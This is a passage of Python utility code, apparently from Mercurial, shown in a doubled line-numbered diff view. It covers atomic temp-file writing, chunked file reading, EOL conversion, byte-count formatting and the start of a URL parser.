2429 class atomictempfile(object):
2429 '''writable file object that atomically updates a file
2430 '''writable file object that atomically updates a file
2430
2431
2431 All writes will go to a temporary copy of the original file. Call
2432 All writes will go to a temporary copy of the original file. Call
2432 close() when you are done writing, and atomictempfile will rename
2433 close() when you are done writing, and atomictempfile will rename
2433 the temporary copy to the original name, making the changes
2434 the temporary copy to the original name, making the changes
2434 visible. If the object is destroyed without being closed, all your
2435 visible. If the object is destroyed without being closed, all your
2435 writes are discarded.
2436 writes are discarded.
2436
2437
2437 checkambig argument of constructor is used with filestat, and is
2438 checkambig argument of constructor is used with filestat, and is
2438 useful only if target file is guarded by any lock (e.g. repo.lock
2439 useful only if target file is guarded by any lock (e.g. repo.lock
2439 or repo.wlock).
2440 or repo.wlock).
2440 '''
2441 '''
2441
2442
2442 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2443 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2443 self.__name = name # permanent name
2444 self.__name = name # permanent name
2444 self._tempname = mktempcopy(
2445 self._tempname = mktempcopy(
2445 name,
2446 name,
2446 emptyok=(b'w' in mode),
2447 emptyok=(b'w' in mode),
2447 createmode=createmode,
2448 createmode=createmode,
2448 enforcewritable=(b'w' in mode),
2449 enforcewritable=(b'w' in mode),
2449 )
2450 )
2450
2451
2451 self._fp = posixfile(self._tempname, mode)
2452 self._fp = posixfile(self._tempname, mode)
2452 self._checkambig = checkambig
2453 self._checkambig = checkambig
2453
2454
2454 # delegated methods
2455 # delegated methods
2455 self.read = self._fp.read
2456 self.read = self._fp.read
2456 self.write = self._fp.write
2457 self.write = self._fp.write
2457 self.seek = self._fp.seek
2458 self.seek = self._fp.seek
2458 self.tell = self._fp.tell
2459 self.tell = self._fp.tell
2459 self.fileno = self._fp.fileno
2460 self.fileno = self._fp.fileno
2460
2461
2461 def close(self):
2462 def close(self):
2462 if not self._fp.closed:
2463 if not self._fp.closed:
2463 self._fp.close()
2464 self._fp.close()
2464 filename = localpath(self.__name)
2465 filename = localpath(self.__name)
2465 oldstat = self._checkambig and filestat.frompath(filename)
2466 oldstat = self._checkambig and filestat.frompath(filename)
2466 if oldstat and oldstat.stat:
2467 if oldstat and oldstat.stat:
2467 rename(self._tempname, filename)
2468 rename(self._tempname, filename)
2468 newstat = filestat.frompath(filename)
2469 newstat = filestat.frompath(filename)
2469 if newstat.isambig(oldstat):
2470 if newstat.isambig(oldstat):
2470 # stat of changed file is ambiguous to original one
2471 # stat of changed file is ambiguous to original one
2471 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2472 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2472 os.utime(filename, (advanced, advanced))
2473 os.utime(filename, (advanced, advanced))
2473 else:
2474 else:
2474 rename(self._tempname, filename)
2475 rename(self._tempname, filename)
2475
2476
2476 def discard(self):
2477 def discard(self):
2477 if not self._fp.closed:
2478 if not self._fp.closed:
2478 try:
2479 try:
2479 os.unlink(self._tempname)
2480 os.unlink(self._tempname)
2480 except OSError:
2481 except OSError:
2481 pass
2482 pass
2482 self._fp.close()
2483 self._fp.close()
2483
2484
2484 def __del__(self):
2485 def __del__(self):
2485 if safehasattr(self, '_fp'): # constructor actually did something
2486 if safehasattr(self, '_fp'): # constructor actually did something
2486 self.discard()
2487 self.discard()
2487
2488
2488 def __enter__(self):
2489 def __enter__(self):
2489 return self
2490 return self
2490
2491
2491 def __exit__(self, exctype, excvalue, traceback):
2492 def __exit__(self, exctype, excvalue, traceback):
2492 if exctype is not None:
2493 if exctype is not None:
2493 self.discard()
2494 self.discard()
2494 else:
2495 else:
2495 self.close()
2496 self.close()
2496
2497
2497
2498
2498 def unlinkpath(f, ignoremissing=False, rmdir=True):
2499 def unlinkpath(f, ignoremissing=False, rmdir=True):
2499 """unlink and remove the directory if it is empty"""
2500 """unlink and remove the directory if it is empty"""
2500 if ignoremissing:
2501 if ignoremissing:
2501 tryunlink(f)
2502 tryunlink(f)
2502 else:
2503 else:
2503 unlink(f)
2504 unlink(f)
2504 if rmdir:
2505 if rmdir:
2505 # try removing directories that might now be empty
2506 # try removing directories that might now be empty
2506 try:
2507 try:
2507 removedirs(os.path.dirname(f))
2508 removedirs(os.path.dirname(f))
2508 except OSError:
2509 except OSError:
2509 pass
2510 pass
2510
2511
2511
2512
2512 def tryunlink(f):
2513 def tryunlink(f):
2513 """Attempt to remove a file, ignoring ENOENT errors."""
2514 """Attempt to remove a file, ignoring ENOENT errors."""
2514 try:
2515 try:
2515 unlink(f)
2516 unlink(f)
2516 except OSError as e:
2517 except OSError as e:
2517 if e.errno != errno.ENOENT:
2518 if e.errno != errno.ENOENT:
2518 raise
2519 raise
2519
2520
2520
2521
2521 def makedirs(name, mode=None, notindexed=False):
2522 def makedirs(name, mode=None, notindexed=False):
2522 """recursive directory creation with parent mode inheritance
2523 """recursive directory creation with parent mode inheritance
2523
2524
2524 Newly created directories are marked as "not to be indexed by
2525 Newly created directories are marked as "not to be indexed by
2525 the content indexing service", if ``notindexed`` is specified
2526 the content indexing service", if ``notindexed`` is specified
2526 for "write" mode access.
2527 for "write" mode access.
2527 """
2528 """
2528 try:
2529 try:
2529 makedir(name, notindexed)
2530 makedir(name, notindexed)
2530 except OSError as err:
2531 except OSError as err:
2531 if err.errno == errno.EEXIST:
2532 if err.errno == errno.EEXIST:
2532 return
2533 return
2533 if err.errno != errno.ENOENT or not name:
2534 if err.errno != errno.ENOENT or not name:
2534 raise
2535 raise
2535 parent = os.path.dirname(os.path.abspath(name))
2536 parent = os.path.dirname(os.path.abspath(name))
2536 if parent == name:
2537 if parent == name:
2537 raise
2538 raise
2538 makedirs(parent, mode, notindexed)
2539 makedirs(parent, mode, notindexed)
2539 try:
2540 try:
2540 makedir(name, notindexed)
2541 makedir(name, notindexed)
2541 except OSError as err:
2542 except OSError as err:
2542 # Catch EEXIST to handle races
2543 # Catch EEXIST to handle races
2543 if err.errno == errno.EEXIST:
2544 if err.errno == errno.EEXIST:
2544 return
2545 return
2545 raise
2546 raise
2546 if mode is not None:
2547 if mode is not None:
2547 os.chmod(name, mode)
2548 os.chmod(name, mode)
2548
2549
2549
2550
2550 def readfile(path):
2551 def readfile(path):
2551 with open(path, b'rb') as fp:
2552 with open(path, b'rb') as fp:
2552 return fp.read()
2553 return fp.read()
2553
2554
2554
2555
2555 def writefile(path, text):
2556 def writefile(path, text):
2556 with open(path, b'wb') as fp:
2557 with open(path, b'wb') as fp:
2557 fp.write(text)
2558 fp.write(text)
2558
2559
2559
2560
2560 def appendfile(path, text):
2561 def appendfile(path, text):
2561 with open(path, b'ab') as fp:
2562 with open(path, b'ab') as fp:
2562 fp.write(text)
2563 fp.write(text)
2563
2564
2564
2565
2565 class chunkbuffer(object):
2566 class chunkbuffer(object):
2566 """Allow arbitrary sized chunks of data to be efficiently read from an
2567 """Allow arbitrary sized chunks of data to be efficiently read from an
2567 iterator over chunks of arbitrary size."""
2568 iterator over chunks of arbitrary size."""
2568
2569
2569 def __init__(self, in_iter):
2570 def __init__(self, in_iter):
2570 """in_iter is the iterator that's iterating over the input chunks."""
2571 """in_iter is the iterator that's iterating over the input chunks."""
2571
2572
2572 def splitbig(chunks):
2573 def splitbig(chunks):
2573 for chunk in chunks:
2574 for chunk in chunks:
2574 if len(chunk) > 2 ** 20:
2575 if len(chunk) > 2 ** 20:
2575 pos = 0
2576 pos = 0
2576 while pos < len(chunk):
2577 while pos < len(chunk):
2577 end = pos + 2 ** 18
2578 end = pos + 2 ** 18
2578 yield chunk[pos:end]
2579 yield chunk[pos:end]
2579 pos = end
2580 pos = end
2580 else:
2581 else:
2581 yield chunk
2582 yield chunk
2582
2583
2583 self.iter = splitbig(in_iter)
2584 self.iter = splitbig(in_iter)
2584 self._queue = collections.deque()
2585 self._queue = collections.deque()
2585 self._chunkoffset = 0
2586 self._chunkoffset = 0
2586
2587
2587 def read(self, l=None):
2588 def read(self, l=None):
2588 """Read L bytes of data from the iterator of chunks of data.
2589 """Read L bytes of data from the iterator of chunks of data.
2589 Returns less than L bytes if the iterator runs dry.
2590 Returns less than L bytes if the iterator runs dry.
2590
2591
2591 If size parameter is omitted, read everything"""
2592 If size parameter is omitted, read everything"""
2592 if l is None:
2593 if l is None:
2593 return b''.join(self.iter)
2594 return b''.join(self.iter)
2594
2595
2595 left = l
2596 left = l
2596 buf = []
2597 buf = []
2597 queue = self._queue
2598 queue = self._queue
2598 while left > 0:
2599 while left > 0:
2599 # refill the queue
2600 # refill the queue
2600 if not queue:
2601 if not queue:
2601 target = 2 ** 18
2602 target = 2 ** 18
2602 for chunk in self.iter:
2603 for chunk in self.iter:
2603 queue.append(chunk)
2604 queue.append(chunk)
2604 target -= len(chunk)
2605 target -= len(chunk)
2605 if target <= 0:
2606 if target <= 0:
2606 break
2607 break
2607 if not queue:
2608 if not queue:
2608 break
2609 break
2609
2610
2610 # The easy way to do this would be to queue.popleft(), modify the
2611 # The easy way to do this would be to queue.popleft(), modify the
2611 # chunk (if necessary), then queue.appendleft(). However, for cases
2612 # chunk (if necessary), then queue.appendleft(). However, for cases
2612 # where we read partial chunk content, this incurs 2 dequeue
2613 # where we read partial chunk content, this incurs 2 dequeue
2613 # mutations and creates a new str for the remaining chunk in the
2614 # mutations and creates a new str for the remaining chunk in the
2614 # queue. Our code below avoids this overhead.
2615 # queue. Our code below avoids this overhead.
2615
2616
2616 chunk = queue[0]
2617 chunk = queue[0]
2617 chunkl = len(chunk)
2618 chunkl = len(chunk)
2618 offset = self._chunkoffset
2619 offset = self._chunkoffset
2619
2620
2620 # Use full chunk.
2621 # Use full chunk.
2621 if offset == 0 and left >= chunkl:
2622 if offset == 0 and left >= chunkl:
2622 left -= chunkl
2623 left -= chunkl
2623 queue.popleft()
2624 queue.popleft()
2624 buf.append(chunk)
2625 buf.append(chunk)
2625 # self._chunkoffset remains at 0.
2626 # self._chunkoffset remains at 0.
2626 continue
2627 continue
2627
2628
2628 chunkremaining = chunkl - offset
2629 chunkremaining = chunkl - offset
2629
2630
2630 # Use all of unconsumed part of chunk.
2631 # Use all of unconsumed part of chunk.
2631 if left >= chunkremaining:
2632 if left >= chunkremaining:
2632 left -= chunkremaining
2633 left -= chunkremaining
2633 queue.popleft()
2634 queue.popleft()
2634 # offset == 0 is enabled by block above, so this won't merely
2635 # offset == 0 is enabled by block above, so this won't merely
2635 # copy via ``chunk[0:]``.
2636 # copy via ``chunk[0:]``.
2636 buf.append(chunk[offset:])
2637 buf.append(chunk[offset:])
2637 self._chunkoffset = 0
2638 self._chunkoffset = 0
2638
2639
2639 # Partial chunk needed.
2640 # Partial chunk needed.
2640 else:
2641 else:
2641 buf.append(chunk[offset : offset + left])
2642 buf.append(chunk[offset : offset + left])
2642 self._chunkoffset += left
2643 self._chunkoffset += left
2643 left -= chunkremaining
2644 left -= chunkremaining
2644
2645
2645 return b''.join(buf)
2646 return b''.join(buf)
2646
2647
2647
2648
2648 def filechunkiter(f, size=131072, limit=None):
2649 def filechunkiter(f, size=131072, limit=None):
2649 """Create a generator that produces the data in the file size
2650 """Create a generator that produces the data in the file size
2650 (default 131072) bytes at a time, up to optional limit (default is
2651 (default 131072) bytes at a time, up to optional limit (default is
2651 to read all data). Chunks may be less than size bytes if the
2652 to read all data). Chunks may be less than size bytes if the
2652 chunk is the last chunk in the file, or the file is a socket or
2653 chunk is the last chunk in the file, or the file is a socket or
2653 some other type of file that sometimes reads less data than is
2654 some other type of file that sometimes reads less data than is
2654 requested."""
2655 requested."""
2655 assert size >= 0
2656 assert size >= 0
2656 assert limit is None or limit >= 0
2657 assert limit is None or limit >= 0
2657 while True:
2658 while True:
2658 if limit is None:
2659 if limit is None:
2659 nbytes = size
2660 nbytes = size
2660 else:
2661 else:
2661 nbytes = min(limit, size)
2662 nbytes = min(limit, size)
2662 s = nbytes and f.read(nbytes)
2663 s = nbytes and f.read(nbytes)
2663 if not s:
2664 if not s:
2664 break
2665 break
2665 if limit:
2666 if limit:
2666 limit -= len(s)
2667 limit -= len(s)
2667 yield s
2668 yield s
2668
2669
2669
2670
2670 class cappedreader(object):
2671 class cappedreader(object):
2671 """A file object proxy that allows reading up to N bytes.
2672 """A file object proxy that allows reading up to N bytes.
2672
2673
2673 Given a source file object, instances of this type allow reading up to
2674 Given a source file object, instances of this type allow reading up to
2674 N bytes from that source file object. Attempts to read past the allowed
2675 N bytes from that source file object. Attempts to read past the allowed
2675 limit are treated as EOF.
2676 limit are treated as EOF.
2676
2677
2677 It is assumed that I/O is not performed on the original file object
2678 It is assumed that I/O is not performed on the original file object
2678 in addition to I/O that is performed by this instance. If there is,
2679 in addition to I/O that is performed by this instance. If there is,
2679 state tracking will get out of sync and unexpected results will ensue.
2680 state tracking will get out of sync and unexpected results will ensue.
2680 """
2681 """
2681
2682
2682 def __init__(self, fh, limit):
2683 def __init__(self, fh, limit):
2683 """Allow reading up to <limit> bytes from <fh>."""
2684 """Allow reading up to <limit> bytes from <fh>."""
2684 self._fh = fh
2685 self._fh = fh
2685 self._left = limit
2686 self._left = limit
2686
2687
2687 def read(self, n=-1):
2688 def read(self, n=-1):
2688 if not self._left:
2689 if not self._left:
2689 return b''
2690 return b''
2690
2691
2691 if n < 0:
2692 if n < 0:
2692 n = self._left
2693 n = self._left
2693
2694
2694 data = self._fh.read(min(n, self._left))
2695 data = self._fh.read(min(n, self._left))
2695 self._left -= len(data)
2696 self._left -= len(data)
2696 assert self._left >= 0
2697 assert self._left >= 0
2697
2698
2698 return data
2699 return data
2699
2700
2700 def readinto(self, b):
2701 def readinto(self, b):
2701 res = self.read(len(b))
2702 res = self.read(len(b))
2702 if res is None:
2703 if res is None:
2703 return None
2704 return None
2704
2705
2705 b[0 : len(res)] = res
2706 b[0 : len(res)] = res
2706 return len(res)
2707 return len(res)
2707
2708
2708
2709
2709 def unitcountfn(*unittable):
2710 def unitcountfn(*unittable):
2710 '''return a function that renders a readable count of some quantity'''
2711 '''return a function that renders a readable count of some quantity'''
2711
2712
2712 def go(count):
2713 def go(count):
2713 for multiplier, divisor, format in unittable:
2714 for multiplier, divisor, format in unittable:
2714 if abs(count) >= divisor * multiplier:
2715 if abs(count) >= divisor * multiplier:
2715 return format % (count / float(divisor))
2716 return format % (count / float(divisor))
2716 return unittable[-1][2] % count
2717 return unittable[-1][2] % count
2717
2718
2718 return go
2719 return go
2719
2720
2720
2721
2721 def processlinerange(fromline, toline):
2722 def processlinerange(fromline, toline):
2722 """Check that linerange <fromline>:<toline> makes sense and return a
2723 """Check that linerange <fromline>:<toline> makes sense and return a
2723 0-based range.
2724 0-based range.
2724
2725
2725 >>> processlinerange(10, 20)
2726 >>> processlinerange(10, 20)
2726 (9, 20)
2727 (9, 20)
2727 >>> processlinerange(2, 1)
2728 >>> processlinerange(2, 1)
2728 Traceback (most recent call last):
2729 Traceback (most recent call last):
2729 ...
2730 ...
2730 ParseError: line range must be positive
2731 ParseError: line range must be positive
2731 >>> processlinerange(0, 5)
2732 >>> processlinerange(0, 5)
2732 Traceback (most recent call last):
2733 Traceback (most recent call last):
2733 ...
2734 ...
2734 ParseError: fromline must be strictly positive
2735 ParseError: fromline must be strictly positive
2735 """
2736 """
2736 if toline - fromline < 0:
2737 if toline - fromline < 0:
2737 raise error.ParseError(_(b"line range must be positive"))
2738 raise error.ParseError(_(b"line range must be positive"))
2738 if fromline < 1:
2739 if fromline < 1:
2739 raise error.ParseError(_(b"fromline must be strictly positive"))
2740 raise error.ParseError(_(b"fromline must be strictly positive"))
2740 return fromline - 1, toline
2741 return fromline - 1, toline
2741
2742
2742
2743
2743 bytecount = unitcountfn(
2744 bytecount = unitcountfn(
2744 (100, 1 << 30, _(b'%.0f GB')),
2745 (100, 1 << 30, _(b'%.0f GB')),
2745 (10, 1 << 30, _(b'%.1f GB')),
2746 (10, 1 << 30, _(b'%.1f GB')),
2746 (1, 1 << 30, _(b'%.2f GB')),
2747 (1, 1 << 30, _(b'%.2f GB')),
2747 (100, 1 << 20, _(b'%.0f MB')),
2748 (100, 1 << 20, _(b'%.0f MB')),
2748 (10, 1 << 20, _(b'%.1f MB')),
2749 (10, 1 << 20, _(b'%.1f MB')),
2749 (1, 1 << 20, _(b'%.2f MB')),
2750 (1, 1 << 20, _(b'%.2f MB')),
2750 (100, 1 << 10, _(b'%.0f KB')),
2751 (100, 1 << 10, _(b'%.0f KB')),
2751 (10, 1 << 10, _(b'%.1f KB')),
2752 (10, 1 << 10, _(b'%.1f KB')),
2752 (1, 1 << 10, _(b'%.2f KB')),
2753 (1, 1 << 10, _(b'%.2f KB')),
2753 (1, 1, _(b'%.0f bytes')),
2754 (1, 1, _(b'%.0f bytes')),
2754 )
2755 )
2755
2756
2756
2757
2757 class transformingwriter(object):
2758 class transformingwriter(object):
2758 """Writable file wrapper to transform data by function"""
2759 """Writable file wrapper to transform data by function"""
2759
2760
2760 def __init__(self, fp, encode):
2761 def __init__(self, fp, encode):
2761 self._fp = fp
2762 self._fp = fp
2762 self._encode = encode
2763 self._encode = encode
2763
2764
2764 def close(self):
2765 def close(self):
2765 self._fp.close()
2766 self._fp.close()
2766
2767
2767 def flush(self):
2768 def flush(self):
2768 self._fp.flush()
2769 self._fp.flush()
2769
2770
2770 def write(self, data):
2771 def write(self, data):
2771 return self._fp.write(self._encode(data))
2772 return self._fp.write(self._encode(data))
2772
2773
2773
2774
2774 # Matches a single EOL which can either be a CRLF where repeated CR
2775 # Matches a single EOL which can either be a CRLF where repeated CR
2775 # are removed or a LF. We do not care about old Macintosh files, so a
2776 # are removed or a LF. We do not care about old Macintosh files, so a
2776 # stray CR is an error.
2777 # stray CR is an error.
2777 _eolre = remod.compile(br'\r*\n')
2778 _eolre = remod.compile(br'\r*\n')
2778
2779
2779
2780
2780 def tolf(s):
2781 def tolf(s):
2781 return _eolre.sub(b'\n', s)
2782 return _eolre.sub(b'\n', s)
2782
2783
2783
2784
2784 def tocrlf(s):
2785 def tocrlf(s):
2785 return _eolre.sub(b'\r\n', s)
2786 return _eolre.sub(b'\r\n', s)
2786
2787
2787
2788
2788 def _crlfwriter(fp):
2789 def _crlfwriter(fp):
2789 return transformingwriter(fp, tocrlf)
2790 return transformingwriter(fp, tocrlf)
2790
2791
2791
2792
2792 if pycompat.oslinesep == b'\r\n':
2793 if pycompat.oslinesep == b'\r\n':
2793 tonativeeol = tocrlf
2794 tonativeeol = tocrlf
2794 fromnativeeol = tolf
2795 fromnativeeol = tolf
2795 nativeeolwriter = _crlfwriter
2796 nativeeolwriter = _crlfwriter
2796 else:
2797 else:
2797 tonativeeol = pycompat.identity
2798 tonativeeol = pycompat.identity
2798 fromnativeeol = pycompat.identity
2799 fromnativeeol = pycompat.identity
2799 nativeeolwriter = pycompat.identity
2800 nativeeolwriter = pycompat.identity
2800
2801
2801 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2802 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2802 3,
2803 3,
2803 0,
2804 0,
2804 ):
2805 ):
2805 # There is an issue in CPython that some IO methods do not handle EINTR
2806 # There is an issue in CPython that some IO methods do not handle EINTR
2806 # correctly. The following table shows what CPython version (and functions)
2807 # correctly. The following table shows what CPython version (and functions)
2807 # are affected (buggy: has the EINTR bug, okay: otherwise):
2808 # are affected (buggy: has the EINTR bug, okay: otherwise):
2808 #
2809 #
2809 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2810 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2810 # --------------------------------------------------
2811 # --------------------------------------------------
2811 # fp.__iter__ | buggy | buggy | okay
2812 # fp.__iter__ | buggy | buggy | okay
2812 # fp.read* | buggy | okay [1] | okay
2813 # fp.read* | buggy | okay [1] | okay
2813 #
2814 #
2814 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2815 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2815 #
2816 #
2816 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2817 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2817 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2818 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2818 #
2819 #
2819 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2820 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2820 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2821 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2821 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2822 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2822 # fp.__iter__ but not other fp.read* methods.
2823 # fp.__iter__ but not other fp.read* methods.
2823 #
2824 #
2824 # On modern systems like Linux, the "read" syscall cannot be interrupted
2825 # On modern systems like Linux, the "read" syscall cannot be interrupted
2825 # when reading "fast" files like on-disk files. So the EINTR issue only
2826 # when reading "fast" files like on-disk files. So the EINTR issue only
2826 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2827 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2827 # files approximately as "fast" files and use the fast (unsafe) code path,
2828 # files approximately as "fast" files and use the fast (unsafe) code path,
2828 # to minimize the performance impact.
2829 # to minimize the performance impact.
2829 if sys.version_info >= (2, 7, 4):
2830 if sys.version_info >= (2, 7, 4):
2830 # fp.readline deals with EINTR correctly, use it as a workaround.
2831 # fp.readline deals with EINTR correctly, use it as a workaround.
2831 def _safeiterfile(fp):
2832 def _safeiterfile(fp):
2832 return iter(fp.readline, b'')
2833 return iter(fp.readline, b'')
2833
2834
2834 else:
2835 else:
2835 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2836 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2836 # note: this may block longer than necessary because of bufsize.
2837 # note: this may block longer than necessary because of bufsize.
2837 def _safeiterfile(fp, bufsize=4096):
2838 def _safeiterfile(fp, bufsize=4096):
2838 fd = fp.fileno()
2839 fd = fp.fileno()
2839 line = b''
2840 line = b''
2840 while True:
2841 while True:
2841 try:
2842 try:
2842 buf = os.read(fd, bufsize)
2843 buf = os.read(fd, bufsize)
2843 except OSError as ex:
2844 except OSError as ex:
2844 # os.read only raises EINTR before any data is read
2845 # os.read only raises EINTR before any data is read
2845 if ex.errno == errno.EINTR:
2846 if ex.errno == errno.EINTR:
2846 continue
2847 continue
2847 else:
2848 else:
2848 raise
2849 raise
2849 line += buf
2850 line += buf
2850 if b'\n' in buf:
2851 if b'\n' in buf:
2851 splitted = line.splitlines(True)
2852 splitted = line.splitlines(True)
2852 line = b''
2853 line = b''
2853 for l in splitted:
2854 for l in splitted:
2854 if l[-1] == b'\n':
2855 if l[-1] == b'\n':
2855 yield l
2856 yield l
2856 else:
2857 else:
2857 line = l
2858 line = l
2858 if not buf:
2859 if not buf:
2859 break
2860 break
2860 if line:
2861 if line:
2861 yield line
2862 yield line
2862
2863
2863 def iterfile(fp):
2864 def iterfile(fp):
2864 fastpath = True
2865 fastpath = True
2865 if type(fp) is file:
2866 if type(fp) is file:
2866 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2867 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2867 if fastpath:
2868 if fastpath:
2868 return fp
2869 return fp
2869 else:
2870 else:
2870 return _safeiterfile(fp)
2871 return _safeiterfile(fp)
2871
2872
2872
2873
2873 else:
2874 else:
2874 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2875 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2875 def iterfile(fp):
2876 def iterfile(fp):
2876 return fp
2877 return fp
2877
2878
2878
2879
2879 def iterlines(iterator):
2880 def iterlines(iterator):
2880 for chunk in iterator:
2881 for chunk in iterator:
2881 for line in chunk.splitlines():
2882 for line in chunk.splitlines():
2882 yield line
2883 yield line
2883
2884
2884
2885
2885 def expandpath(path):
2886 def expandpath(path):
2886 return os.path.expanduser(os.path.expandvars(path))
2887 return os.path.expanduser(os.path.expandvars(path))
2887
2888
2888
2889
2889 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2890 """Return the result of interpolating items in the mapping into string s.
2891 """Return the result of interpolating items in the mapping into string s.
2891
2892
2892 prefix is a single character string, or a two character string with
2893 prefix is a single character string, or a two character string with
2893 a backslash as the first character if the prefix needs to be escaped in
2894 a backslash as the first character if the prefix needs to be escaped in
2894 a regular expression.
2895 a regular expression.
2895
2896
2896 fn is an optional function that will be applied to the replacement text
2897 fn is an optional function that will be applied to the replacement text
2897 just before replacement.
2898 just before replacement.
2898
2899
2899 escape_prefix is an optional flag that allows using doubled prefix for
2900 escape_prefix is an optional flag that allows using doubled prefix for
2900 its escaping.
2901 its escaping.
2901 """
2902 """
2902 fn = fn or (lambda s: s)
2903 fn = fn or (lambda s: s)
2903 patterns = b'|'.join(mapping.keys())
2904 patterns = b'|'.join(mapping.keys())
2904 if escape_prefix:
2905 if escape_prefix:
2905 patterns += b'|' + prefix
2906 patterns += b'|' + prefix
2906 if len(prefix) > 1:
2907 if len(prefix) > 1:
2907 prefix_char = prefix[1:]
2908 prefix_char = prefix[1:]
2908 else:
2909 else:
2909 prefix_char = prefix
2910 prefix_char = prefix
2910 mapping[prefix_char] = prefix_char
2911 mapping[prefix_char] = prefix_char
2911 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2912 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2913
2914
2914
2915
2915 def getport(port):
2916 def getport(port):
2916 """Return the port for a given network service.
2917 """Return the port for a given network service.
2917
2918
2918 If port is an integer, it's returned as is. If it's a string, it's
2919 If port is an integer, it's returned as is. If it's a string, it's
2919 looked up using socket.getservbyname(). If there's no matching
2920 looked up using socket.getservbyname(). If there's no matching
2920 service, error.Abort is raised.
2921 service, error.Abort is raised.
2921 """
2922 """
2922 try:
2923 try:
2923 return int(port)
2924 return int(port)
2924 except ValueError:
2925 except ValueError:
2925 pass
2926 pass
2926
2927
2927 try:
2928 try:
2928 return socket.getservbyname(pycompat.sysstr(port))
2929 return socket.getservbyname(pycompat.sysstr(port))
2929 except socket.error:
2930 except socket.error:
2930 raise error.Abort(
2931 raise error.Abort(
2931 _(b"no port number associated with service '%s'") % port
2932 _(b"no port number associated with service '%s'") % port
2932 )
2933 )
2933
2934
2934
2935
2935 class url(object):
2936 class url(object):
2936 r"""Reliable URL parser.
2937 r"""Reliable URL parser.
2937
2938
2938 This parses URLs and provides attributes for the following
2939 This parses URLs and provides attributes for the following
2939 components:
2940 components:
2940
2941
2941 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2942 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2942
2943
2943 Missing components are set to None. The only exception is
2944 Missing components are set to None. The only exception is
2944 fragment, which is set to '' if present but empty.
2945 fragment, which is set to '' if present but empty.
2945
2946
2946 If parsefragment is False, fragment is included in query. If
2947 If parsefragment is False, fragment is included in query. If
2947 parsequery is False, query is included in path. If both are
2948 parsequery is False, query is included in path. If both are
2948 False, both fragment and query are included in path.
2949 False, both fragment and query are included in path.
2949
2950
2950 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2951 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2951
2952
2952 Note that for backward compatibility reasons, bundle URLs do not
2953 Note that for backward compatibility reasons, bundle URLs do not
2953 take host names. That means 'bundle://../' has a path of '../'.
2954 take host names. That means 'bundle://../' has a path of '../'.
2954
2955
2955 Examples:
2956 Examples:
2956
2957
2957 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2958 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2958 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2959 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2959 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2960 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2960 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2961 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2961 >>> url(b'file:///home/joe/repo')
2962 >>> url(b'file:///home/joe/repo')
2962 <url scheme: 'file', path: '/home/joe/repo'>
2963 <url scheme: 'file', path: '/home/joe/repo'>
2963 >>> url(b'file:///c:/temp/foo/')
2964 >>> url(b'file:///c:/temp/foo/')
2964 <url scheme: 'file', path: 'c:/temp/foo/'>
2965 <url scheme: 'file', path: 'c:/temp/foo/'>
2965 >>> url(b'bundle:foo')
2966 >>> url(b'bundle:foo')
2966 <url scheme: 'bundle', path: 'foo'>
2967 <url scheme: 'bundle', path: 'foo'>
2967 >>> url(b'bundle://../foo')
2968 >>> url(b'bundle://../foo')
2968 <url scheme: 'bundle', path: '../foo'>
2969 <url scheme: 'bundle', path: '../foo'>
2969 >>> url(br'c:\foo\bar')
2970 >>> url(br'c:\foo\bar')
2970 <url path: 'c:\\foo\\bar'>
2971 <url path: 'c:\\foo\\bar'>
2971 >>> url(br'\\blah\blah\blah')
2972 >>> url(br'\\blah\blah\blah')
2972 <url path: '\\\\blah\\blah\\blah'>
2973 <url path: '\\\\blah\\blah\\blah'>
2973 >>> url(br'\\blah\blah\blah#baz')
2974 >>> url(br'\\blah\blah\blah#baz')
2974 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2975 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2975 >>> url(br'file:///C:\users\me')
